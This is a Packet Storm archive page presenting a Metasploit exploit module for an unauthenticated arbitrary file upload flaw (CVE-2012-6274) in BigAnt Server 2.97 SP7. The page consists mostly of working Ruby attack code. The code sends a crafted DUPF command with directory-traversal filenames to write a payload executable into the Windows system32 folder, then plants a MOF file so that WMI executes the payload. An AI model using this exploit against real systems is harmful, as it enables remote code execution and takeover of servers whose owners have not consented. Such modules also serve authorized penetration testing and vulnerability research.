what you don't know can hurt you

BigAnt Server DUPF Command Arbitrary File Upload

BigAnt Server DUPF Command Arbitrary File Upload
Posted Feb 20, 2013
Authored by juan vazquez, Hamburgers Maccoy | Site metasploit.com

This Metasploit module exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7. A lack of authentication allows to make unauthenticated file uploads through a DUPF command. Additionally the filename option in the same command can be used to launch a directory traversal attack and achieve arbitrary file upload. The module uses uses the Windows Management Instrumentation service to execute an arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003 SP2.

tags | exploit, arbitrary, file upload
systems | windows, xp
advisories | CVE-2012-6274, OSVDB-89342
MD5 | ba70f8f66dd3f79dcc4f179031f71137

BigAnt Server DUPF Command Arbitrary File Upload

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'BigAnt Server DUPF Command Arbitrary File Upload',
'Description' => %q{
This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7.
A lack of authentication allows to make unauthenticated file uploads through a DUPF
command. Additionally the filename option in the same command can be used to launch
a directory traversal attack and achieve arbitrary file upload.

The module uses uses the Windows Management Instrumentation service to execute an
arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It
has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003
SP2.
},
'Author' =>
[
'Hamburgers Maccoy', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-6274' ],
[ 'US-CERT-VU', '990652' ],
[ 'BID', '57214' ],
[ 'OSVDB', '89342' ]
],
'Privileged' => true,
'Platform' => 'win',
'Targets' =>
[
[ 'BigAnt Server 2.97 SP7', { } ]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'WfsDelay' => 10
},
'DisclosureDate' => 'Jan 09 2013'))

register_options(
[
Opt::RPORT(6661),
OptInt.new('DEPTH', [true, "Levels to reach base directory", 6])
], self.class)

end

def upload_file(filename, content)

random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"

dupf = "DUPF 16\n"
dupf << "cmdid: 1\n"
dupf << "content-length: #{content.length}\n"
dupf << "content-type: Appliction/Download\n"
dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n"
dupf << "modified: #{random_date}\n"
dupf << "pclassid: 102\n"
dupf << "pobjid: 1\n"
dupf << "rootid: 1\n"
dupf << "sendcheck: 1\n\n"
dupf << content

print_status("sending DUPF")
connect
sock.put(dupf)
res = sock.get_once
disconnect
return res

end

def exploit

peer = "#{rhost}:#{rport}"

# Setup the necessary files to do the wbemexec trick
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
exe = generate_payload_exe
mof_name = rand_text_alpha(rand(10)+5) + '.mof'
mof = generate_mof(mof_name, exe_name)

print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}")
res = upload_file("WINDOWS\\system32\\#{exe_name}", exe)
if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
print_good("#{peer} - #{exe_name} uploaded successfully")
else
if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
print_error("#{peer} - Upload failed, check the DEPTH option")
end
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}")
end

print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}")
res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
print_good("#{peer} - #{mof_name} uploaded successfully")
register_file_for_cleanup(exe_name)
register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
else
if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
print_error("#{peer} - Upload failed, check the DEPTH option")
end
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}")
end

end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    2 Files
  • 24
    Jul 24th
    19 Files
  • 25
    Jul 25th
    28 Files
  • 26
    Jul 26th
    2 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close